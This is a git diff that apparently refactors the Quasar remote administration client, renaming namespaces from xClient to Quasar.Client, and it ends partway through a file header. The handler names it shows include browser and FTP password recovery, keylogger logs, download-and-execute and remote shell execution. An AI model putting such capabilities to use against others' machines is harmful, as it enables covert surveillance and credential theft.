diff --git a/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs b/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs index 7a936cc7..7ef6b9cb 100644 --- a/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs +++ b/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs @@ -2,9 +2,8 @@ using System.Drawing; using Microsoft.VisualStudio.TestTools.UnitTesting; using Quasar.Common.Video.Compression; -using xClient.Core.Compression; -namespace xClient.Tests.Core.Compression +namespace Quasar.Client.Tests.Core.Compression { [TestClass] public class JpgCompressionTests diff --git a/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs index a71fb825..effe9fc5 100644 --- a/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs +++ b/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs @@ -1,8 +1,8 @@ using System; using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Compression; +using Quasar.Client.Core.Compression; -namespace xClient.Tests.Core.Compression +namespace Quasar.Client.Tests.Core.Compression { [TestClass] public class SafeQuickLZTests diff --git a/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs index 6bf4d813..10ef3e7c 100644 --- a/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs +++ b/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs @@ -1,9 +1,9 @@ using System.Text; using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Cryptography; -using xClient.Core.Helper; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Helper; -namespace xClient.Tests.Core.Encryption +namespace Quasar.Client.Tests.Core.Encryption { [TestClass] public class AESTests diff --git a/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs b/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs index 3f20d87a..e8f87056 100644 --- a/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs +++ b/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs @@ -1,8 +1,8 @@ using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Cryptography; -using xClient.Core.Helper; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Helper; -namespace xClient.Tests.Core.Encryption +namespace Quasar.Client.Tests.Core.Encryption { [TestClass] public class SHA256Tests diff --git a/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs b/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs index 5ece9547..e47f7342 100644 --- a/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs +++ b/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs @@ -1,7 +1,7 @@ using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Helper; +using Quasar.Client.Core.Helper; -namespace xClient.Tests.Core.Helper +namespace Quasar.Client.Tests.Core.Helper { [TestClass] public class FileHelperTests diff --git a/Quasar.Client.Tests/Quasar.Client.Tests.csproj b/Quasar.Client.Tests/Quasar.Client.Tests.csproj index c4a8e452..0e185643 100644 --- a/Quasar.Client.Tests/Quasar.Client.Tests.csproj +++ b/Quasar.Client.Tests/Quasar.Client.Tests.csproj @@ -6,7 +6,7 @@ {7223F9B2-17A2-432B-ADAC-51B1E35681DB} Library Properties - xClient.Tests + Quasar.Client.Tests Client.Tests v4.0 512 diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 09631d48..30a18573 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -1,11 +1,11 @@ using System; -using xClient.Core.Helper; +using Quasar.Client.Core.Helper; #if !DEBUG -using xClient.Core.Cryptography; +using Quasar.Client.Core.Cryptography; #endif -namespace xClient.Config +namespace Quasar.Client.Config { public static class Settings { diff --git a/Quasar.Client/Core/Commands/CommandHandler.cs b/Quasar.Client/Core/Commands/CommandHandler.cs index 909d1cdd..11884540 100644 --- a/Quasar.Client/Core/Commands/CommandHandler.cs +++ b/Quasar.Client/Core/Commands/CommandHandler.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Threading; +using Quasar.Client.Core.Utilities; using Quasar.Common.Video.Codecs; -using xClient.Core.Utilities; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/ConnectionHandler.cs b/Quasar.Client/Core/Commands/ConnectionHandler.cs index e7a59f25..8509e23f 100644 --- a/Quasar.Client/Core/Commands/ConnectionHandler.cs +++ b/Quasar.Client/Core/Commands/ConnectionHandler.cs @@ -1,21 +1,20 @@ using System; using System.Net; using System.Threading; +using Quasar.Client.Config; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Installation; +using Quasar.Client.Core.Utilities; using Quasar.Common.IO; using Quasar.Common.Messages; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Installation; -using xClient.Core.Networking; -using xClient.Core.Utilities; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE CONNECTION COMMANDS. */ public static partial class CommandHandler { - public static void HandleGetAuthentication(GetAuthentication command, Client client) + public static void HandleGetAuthentication(GetAuthentication command, Networking.Client client) { GeoLocationHelper.Initialize(); @@ -45,7 +44,7 @@ public static void HandleGetAuthentication(GetAuthentication command, Client cli } } - public static void HandleDoClientUpdate(DoClientUpdate command, Client client) + public static void HandleDoClientUpdate(DoClientUpdate command, Networking.Client client) { // i dont like this updating... if anyone has a better idea feel free to edit it if (string.IsNullOrEmpty(command.DownloadUrl)) @@ -110,7 +109,7 @@ public static void HandleDoClientUpdate(DoClientUpdate command, Client client) }).Start(); } - public static void HandleDoClientUninstall(DoClientUninstall command, Client client) + public static void HandleDoClientUninstall(DoClientUninstall command, Networking.Client client) { client.Send(new SetStatus {Message = "Uninstalling... good bye :-("}); diff --git a/Quasar.Client/Core/Commands/FileHandler.cs b/Quasar.Client/Core/Commands/FileHandler.cs index c722ce54..12e9a88d 100644 --- a/Quasar.Client/Core/Commands/FileHandler.cs +++ b/Quasar.Client/Core/Commands/FileHandler.cs @@ -2,20 +2,19 @@ using System.IO; using System.Security; using System.Threading; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Utilities; using Quasar.Common.Enums; using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Models; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE DIRECTORIES AND FILES (excluding the program). */ public static partial class CommandHandler { - public static void HandleGetDirectory(GetDirectory command, Client client) + public static void HandleGetDirectory(GetDirectory command, Networking.Client client) { bool isError = false; string message = null; @@ -92,7 +91,7 @@ public static void HandleGetDirectory(GetDirectory command, Client client) } } - public static void HandleDoDownloadFile(DoDownloadFile command, Client client) + public static void HandleDoDownloadFile(DoDownloadFile command, Networking.Client client) { new Thread(() => { @@ -141,7 +140,7 @@ public static void HandleDoDownloadFile(DoDownloadFile command, Client client) }).Start(); } - public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Client client) + public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Networking.Client client) { if (!_canceledDownloads.ContainsKey(command.Id)) { @@ -158,7 +157,7 @@ public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Clie } } - public static void HandleDoUploadFile(DoUploadFile command, Client client) + public static void HandleDoUploadFile(DoUploadFile command, Networking.Client client) { if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath)) NativeMethods.DeleteFile(command.RemotePath); // delete existing file @@ -167,7 +166,7 @@ public static void HandleDoUploadFile(DoUploadFile command, Client client) destFile.AppendBlock(command.Block, command.CurrentBlock); } - public static void HandleDoPathDelete(DoPathDelete command, Client client) + public static void HandleDoPathDelete(DoPathDelete command, Networking.Client client) { bool isError = false; string message = null; @@ -229,7 +228,7 @@ public static void HandleDoPathDelete(DoPathDelete command, Client client) } } - public static void HandleDoPathRename(DoPathRename command, Client client) + public static void HandleDoPathRename(DoPathRename command, Networking.Client client) { bool isError = false; string message = null; diff --git a/Quasar.Client/Core/Commands/MiscHandler.cs b/Quasar.Client/Core/Commands/MiscHandler.cs index fdc7838c..b8ff6e13 100644 --- a/Quasar.Client/Core/Commands/MiscHandler.cs +++ b/Quasar.Client/Core/Commands/MiscHandler.cs @@ -4,19 +4,18 @@ using System.Net; using System.Threading; using System.Windows.Forms; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Utilities; using Quasar.Common.IO; using Quasar.Common.Messages; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */ public static partial class CommandHandler { public static void HandleDoDownloadAndExecute(DoDownloadAndExecute command, - Client client) + Networking.Client client) { client.Send(new SetStatus {Message = "Downloading file..."}); @@ -69,7 +68,7 @@ public static partial class CommandHandler }).Start(); } - public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client client) + public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Networking.Client client) { if (!_renamedFiles.ContainsKey(command.Id)) _renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); @@ -116,7 +115,7 @@ public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client c } } - public static void HandleDoVisitWebsite(DoVisitWebsite command, Client client) + public static void HandleDoVisitWebsite(DoVisitWebsite command, Networking.Client client) { string url = command.Url; @@ -151,7 +150,7 @@ public static void HandleDoVisitWebsite(DoVisitWebsite command, Client client) } } - public static void HandleDoShowMessageBox(DoShowMessageBox command, Client client) + public static void HandleDoShowMessageBox(DoShowMessageBox command, Networking.Client client) { new Thread(() => { diff --git a/Quasar.Client/Core/Commands/RegistryHandler.cs b/Quasar.Client/Core/Commands/RegistryHandler.cs index c760283b..39a5a6a0 100644 --- a/Quasar.Client/Core/Commands/RegistryHandler.cs +++ b/Quasar.Client/Core/Commands/RegistryHandler.cs @@ -1,17 +1,16 @@ using System; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Registry; using Quasar.Common.Messages; using Quasar.Common.Models; -using xClient.Core.Extensions; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Registry; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ public static partial class CommandHandler { - public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Client client) + public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Networking.Client client) { GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); try @@ -33,7 +32,7 @@ public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Client client) #region Registry Key Edit - public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Client client) + public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Networking.Client client) { GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); string errorMsg; @@ -61,7 +60,7 @@ public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Client cl client.Send(responsePacket); } - public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Client client) + public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Networking.Client client) { GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); string errorMsg; @@ -81,7 +80,7 @@ public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Client cl client.Send(responsePacket); } - public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Client client) + public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Networking.Client client) { GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); string errorMsg; @@ -106,7 +105,7 @@ public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Client cl #region RegistryValue Edit - public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Client client) + public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Networking.Client client) { GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); string errorMsg; @@ -127,7 +126,7 @@ public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Clien client.Send(responsePacket); } - public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Client client) + public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Networking.Client client) { GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); string errorMsg; @@ -147,7 +146,7 @@ public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Clien client.Send(responsePacket); } - public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Client client) + public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Networking.Client client) { GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); string errorMsg; @@ -168,7 +167,7 @@ public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Clien client.Send(responsePacket); } - public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Client client) + public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Networking.Client client) { GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); string errorMsg; diff --git a/Quasar.Client/Core/Commands/SurveillanceHandler.cs b/Quasar.Client/Core/Commands/SurveillanceHandler.cs index 9ccdc343..e9bb8715 100644 --- a/Quasar.Client/Core/Commands/SurveillanceHandler.cs +++ b/Quasar.Client/Core/Commands/SurveillanceHandler.cs @@ -1,28 +1,27 @@ -using Quasar.Common.Enums; -using Quasar.Common.IO; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using Quasar.Common.Video; -using Quasar.Common.Video.Codecs; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Threading; using System.Windows.Forms; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Recovery.Browsers; -using xClient.Core.Recovery.FtpClients; -using xClient.Core.Utilities; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Recovery.Browsers; +using Quasar.Client.Core.Recovery.FtpClients; +using Quasar.Client.Core.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ public static partial class CommandHandler { - public static void HandleGetPasswords(GetPasswords packet, Client client) + public static void HandleGetPasswords(GetPasswords packet, Networking.Client client) { List recovered = new List(); @@ -37,7 +36,7 @@ public static void HandleGetPasswords(GetPasswords packet, Client client) client.Send(new GetPasswordsResponse {RecoveredAccounts = recovered}); } - public static void HandleGetDesktop(GetDesktop command, Client client) + public static void HandleGetDesktop(GetDesktop command, Networking.Client client) { // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis var monitorBounds = ScreenHelper.GetBounds((command.DisplayIndex)); @@ -113,7 +112,7 @@ public static void HandleGetDesktop(GetDesktop command, Client client) } } - public static void HandleDoMouseEvent(DoMouseEvent command, Client client) + public static void HandleDoMouseEvent(DoMouseEvent command, Networking.Client client) { try { @@ -161,7 +160,7 @@ public static void HandleDoMouseEvent(DoMouseEvent command, Client client) } } - public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Client client) + public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Networking.Client client) { if (NativeMethodsHelper.IsScreensaverActive()) NativeMethodsHelper.DisableScreensaver(); @@ -169,7 +168,7 @@ public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Client client) NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown); } - public static void HandleGetMonitors(GetMonitors command, Client client) + public static void HandleGetMonitors(GetMonitors command, Networking.Client client) { if (Screen.AllScreens.Length > 0) { @@ -177,7 +176,7 @@ public static void HandleGetMonitors(GetMonitors command, Client client) } } - public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Client client) + public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Networking.Client client) { new Thread(() => { diff --git a/Quasar.Client/Core/Commands/SystemHandler.cs b/Quasar.Client/Core/Commands/SystemHandler.cs index 5dfd5720..f848f011 100644 --- a/Quasar.Client/Core/Commands/SystemHandler.cs +++ b/Quasar.Client/Core/Commands/SystemHandler.cs @@ -1,27 +1,27 @@ -using Microsoft.Win32; -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Net.NetworkInformation; using System.Windows.Forms; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Extensions; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; +using Microsoft.Win32; +using Quasar.Client.Config; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; using Models = Quasar.Common.Models; +using Process = System.Diagnostics.Process; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ public static partial class CommandHandler { - public static void HandleGetDrives(GetDrives command, Client client) + public static void HandleGetDrives(GetDrives command, Networking.Client client) { DriveInfo[] driveInfos; try @@ -69,7 +69,7 @@ public static void HandleGetDrives(GetDrives command, Client client) client.Send(new GetDrivesResponse {Drives = drives}); } - public static void HandleDoShutdownAction(DoShutdownAction command, Client client) + public static void HandleDoShutdownAction(DoShutdownAction command, Networking.Client client) { try { @@ -101,7 +101,7 @@ public static void HandleDoShutdownAction(DoShutdownAction command, Client clien } } - public static void HandleGetStartupItems(GetStartupItems command, Client client) + public static void HandleGetStartupItems(GetStartupItems command, Networking.Client client) { try { @@ -194,7 +194,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) } } - public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client client) + public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Networking.Client client) { try { @@ -274,7 +274,7 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien } } - public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Client client) + public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Networking.Client client) { try { @@ -344,7 +344,7 @@ public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Client } } - public static void HandleGetSystemInfo(GetSystemInfo command, Client client) + public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client client) { try { @@ -382,7 +382,7 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Client client) } } - public static void HandleGetProcesses(GetProcesses command, Client client) + public static void HandleGetProcesses(GetProcesses command, Networking.Client client) { Process[] pList = Process.GetProcesses(); var processes = new Models.Process[pList.Length]; @@ -401,7 +401,7 @@ public static void HandleGetProcesses(GetProcesses command, Client client) client.Send(new GetProcessesResponse {Processes = processes}); } - public static void HandleDoProcessStart(DoProcessStart command, Client client) + public static void HandleDoProcessStart(DoProcessStart command, Networking.Client client) { if (string.IsNullOrEmpty(command.ApplicationName)) { @@ -428,7 +428,7 @@ public static void HandleDoProcessStart(DoProcessStart command, Client client) } } - public static void HandleDoProcessKill(DoProcessKill command, Client client) + public static void HandleDoProcessKill(DoProcessKill command, Networking.Client client) { try { @@ -443,7 +443,7 @@ public static void HandleDoProcessKill(DoProcessKill command, Client client) } } - public static void HandleDoAskElevate(DoAskElevate command, Client client) + public static void HandleDoAskElevate(DoAskElevate command, Networking.Client client) { if (WindowsAccountHelper.GetAccountType() != "Admin") { @@ -475,7 +475,7 @@ public static void HandleDoAskElevate(DoAskElevate command, Client client) } } - public static void HandleDoShellExecute(DoShellExecute command, Client client) + public static void HandleDoShellExecute(DoShellExecute command, Networking.Client client) { string input = command.Command; diff --git a/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs b/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs index 3e033246..6541039f 100644 --- a/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs +++ b/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs @@ -1,19 +1,18 @@ -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using System; -using System.Diagnostics; +using System; using System.Net; using System.Runtime.InteropServices; -using xClient.Core.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; using Models = Quasar.Common.Models; +using Process = System.Diagnostics.Process; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */ public static partial class CommandHandler { - public static void HandleGetConnections(Client client, GetConnections packet) + public static void HandleGetConnections(Networking.Client client, GetConnections packet) { var table = GetTable(); @@ -44,7 +43,7 @@ public static void HandleGetConnections(Client client, GetConnections packet) client.Send(new GetConnectionsResponse {Connections = connections}); } - public static void HandleDoCloseConnection(Client client, DoCloseConnection packet) + public static void HandleDoCloseConnection(Networking.Client client, DoCloseConnection packet) { var table = GetTable(); diff --git a/Quasar.Client/Core/Compression/SafeQuickLZ.cs b/Quasar.Client/Core/Compression/SafeQuickLZ.cs index df313e3c..31eb36a3 100644 --- a/Quasar.Client/Core/Compression/SafeQuickLZ.cs +++ b/Quasar.Client/Core/Compression/SafeQuickLZ.cs @@ -2,7 +2,7 @@ #pragma warning disable 0675 -namespace xClient.Core.Compression +namespace Quasar.Client.Core.Compression { // QuickLZ data compression library // Copyright (C) 2006-2011 Lasse Mikkel Reinhold diff --git a/Quasar.Client/Core/Cryptography/AES.cs b/Quasar.Client/Core/Cryptography/AES.cs index b2848a47..7bbb88b5 100644 --- a/Quasar.Client/Core/Cryptography/AES.cs +++ b/Quasar.Client/Core/Cryptography/AES.cs @@ -2,9 +2,9 @@ using System.IO; using System.Security.Cryptography; using System.Text; -using xClient.Core.Helper; +using Quasar.Client.Core.Helper; -namespace xClient.Core.Cryptography +namespace Quasar.Client.Core.Cryptography { public static class AES { diff --git a/Quasar.Client/Core/Cryptography/SHA256.cs b/Quasar.Client/Core/Cryptography/SHA256.cs index ccb8ad0c..cb3f04e2 100644 --- a/Quasar.Client/Core/Cryptography/SHA256.cs +++ b/Quasar.Client/Core/Cryptography/SHA256.cs @@ -1,7 +1,7 @@ using System.Security.Cryptography; using System.Text; -namespace xClient.Core.Cryptography +namespace Quasar.Client.Core.Cryptography { public static class SHA256 { diff --git a/Quasar.Client/Core/Data/ClientData.cs b/Quasar.Client/Core/Data/ClientData.cs index 4ea74322..f429cb2d 100644 --- a/Quasar.Client/Core/Data/ClientData.cs +++ b/Quasar.Client/Core/Data/ClientData.cs @@ -1,6 +1,6 @@ using System.Windows.Forms; -namespace xClient.Core.Data +namespace Quasar.Client.Core.Data { public static class ClientData { diff --git a/Quasar.Client/Core/Data/GeoInformation.cs b/Quasar.Client/Core/Data/GeoInformation.cs index 7ba15a78..7bca8069 100644 --- a/Quasar.Client/Core/Data/GeoInformation.cs +++ b/Quasar.Client/Core/Data/GeoInformation.cs @@ -1,6 +1,6 @@ using System.Runtime.Serialization; -namespace xClient.Core.Data +namespace Quasar.Client.Core.Data { [DataContract] public class GeoInformation diff --git a/Quasar.Client/Core/Data/Host.cs b/Quasar.Client/Core/Data/Host.cs index c4bbf608..f2f84a7c 100644 --- a/Quasar.Client/Core/Data/Host.cs +++ b/Quasar.Client/Core/Data/Host.cs @@ -1,6 +1,6 @@ using System.Net; -namespace xClient.Core.Data +namespace Quasar.Client.Core.Data { public class Host { diff --git a/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs index 9298397d..dac7075e 100644 --- a/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs @@ -1,10 +1,10 @@ -using System.Collections.Generic; -using Microsoft.Win32; +using System; +using System.Collections.Generic; using System.Linq; -using System; +using Microsoft.Win32; using Quasar.Common.Utilities; -namespace xClient.Core.Extensions +namespace Quasar.Client.Core.Extensions { public static class RegistryKeyExtensions { diff --git a/Quasar.Client/Core/Extensions/SocketExtensions.cs b/Quasar.Client/Core/Extensions/SocketExtensions.cs index fc1254a3..7f5e0e9f 100644 --- a/Quasar.Client/Core/Extensions/SocketExtensions.cs +++ b/Quasar.Client/Core/Extensions/SocketExtensions.cs @@ -2,7 +2,7 @@ using System.Net.Sockets; using System.Runtime.InteropServices; -namespace xClient.Core.Extensions +namespace Quasar.Client.Core.Extensions { /// /// Socket Extension for KeepAlive diff --git a/Quasar.Client/Core/Helper/CryptographyHelper.cs b/Quasar.Client/Core/Helper/CryptographyHelper.cs index ee0cb2d9..fec64f63 100644 --- a/Quasar.Client/Core/Helper/CryptographyHelper.cs +++ b/Quasar.Client/Core/Helper/CryptographyHelper.cs @@ -1,6 +1,6 @@ using System.Runtime.CompilerServices; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class CryptographyHelper { diff --git a/Quasar.Client/Core/Helper/DevicesHelper.cs b/Quasar.Client/Core/Helper/DevicesHelper.cs index 9c110a94..37240e91 100644 --- a/Quasar.Client/Core/Helper/DevicesHelper.cs +++ b/Quasar.Client/Core/Helper/DevicesHelper.cs @@ -3,9 +3,9 @@ using System.Management; using System.Net.NetworkInformation; using System.Net.Sockets; -using xClient.Core.Cryptography; +using Quasar.Client.Core.Cryptography; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class DevicesHelper { diff --git a/Quasar.Client/Core/Helper/FileHelper.cs b/Quasar.Client/Core/Helper/FileHelper.cs index 98c67b17..5ebea424 100644 --- a/Quasar.Client/Core/Helper/FileHelper.cs +++ b/Quasar.Client/Core/Helper/FileHelper.cs @@ -1,13 +1,13 @@ using System; using System.IO; using System.Text; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Utilities; using Quasar.Common.Enums; using Quasar.Common.Utilities; -using xClient.Core.Cryptography; -using xClient.Core.Data; -using xClient.Core.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class FileHelper { diff --git a/Quasar.Client/Core/Helper/FormatHelper.cs b/Quasar.Client/Core/Helper/FormatHelper.cs index b45bfb3a..ea8f26ee 100644 --- a/Quasar.Client/Core/Helper/FormatHelper.cs +++ b/Quasar.Client/Core/Helper/FormatHelper.cs @@ -1,8 +1,7 @@ -using System.Drawing; -using System.IO; +using System.IO; using System.Text.RegularExpressions; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class FormatHelper { diff --git a/Quasar.Client/Core/Helper/GeoLocationHelper.cs b/Quasar.Client/Core/Helper/GeoLocationHelper.cs index 63374a51..84623f22 100644 --- a/Quasar.Client/Core/Helper/GeoLocationHelper.cs +++ b/Quasar.Client/Core/Helper/GeoLocationHelper.cs @@ -4,9 +4,9 @@ using System.Runtime.Serialization.Json; using System.Text; using System.Xml; -using xClient.Core.Data; +using Quasar.Client.Core.Data; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class GeoLocationHelper { diff --git a/Quasar.Client/Core/Helper/HostHelper.cs b/Quasar.Client/Core/Helper/HostHelper.cs index 31d3a3a0..375251bc 100644 --- a/Quasar.Client/Core/Helper/HostHelper.cs +++ b/Quasar.Client/Core/Helper/HostHelper.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using xClient.Core.Data; +using Quasar.Client.Core.Data; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class HostHelper { diff --git a/Quasar.Client/Core/Helper/KeyloggerHelper.cs b/Quasar.Client/Core/Helper/KeyloggerHelper.cs index 256b3dbb..7cd80bfa 100644 --- a/Quasar.Client/Core/Helper/KeyloggerHelper.cs +++ b/Quasar.Client/Core/Helper/KeyloggerHelper.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Windows.Forms; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class KeyloggerHelper { diff --git a/Quasar.Client/Core/Helper/MutexHelper.cs b/Quasar.Client/Core/Helper/MutexHelper.cs index 47efc050..e82893e3 100644 --- a/Quasar.Client/Core/Helper/MutexHelper.cs +++ b/Quasar.Client/Core/Helper/MutexHelper.cs @@ -1,6 +1,6 @@ using System.Threading; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class MutexHelper { diff --git a/Quasar.Client/Core/Helper/NativeMethodsHelper.cs b/Quasar.Client/Core/Helper/NativeMethodsHelper.cs index 3f2ca67d..c1f0287e 100644 --- a/Quasar.Client/Core/Helper/NativeMethodsHelper.cs +++ b/Quasar.Client/Core/Helper/NativeMethodsHelper.cs @@ -2,9 +2,9 @@ using System.Drawing; using System.Runtime.InteropServices; using System.Text; -using xClient.Core.Utilities; +using Quasar.Client.Core.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class NativeMethodsHelper { diff --git a/Quasar.Client/Core/Helper/PlatformHelper.cs 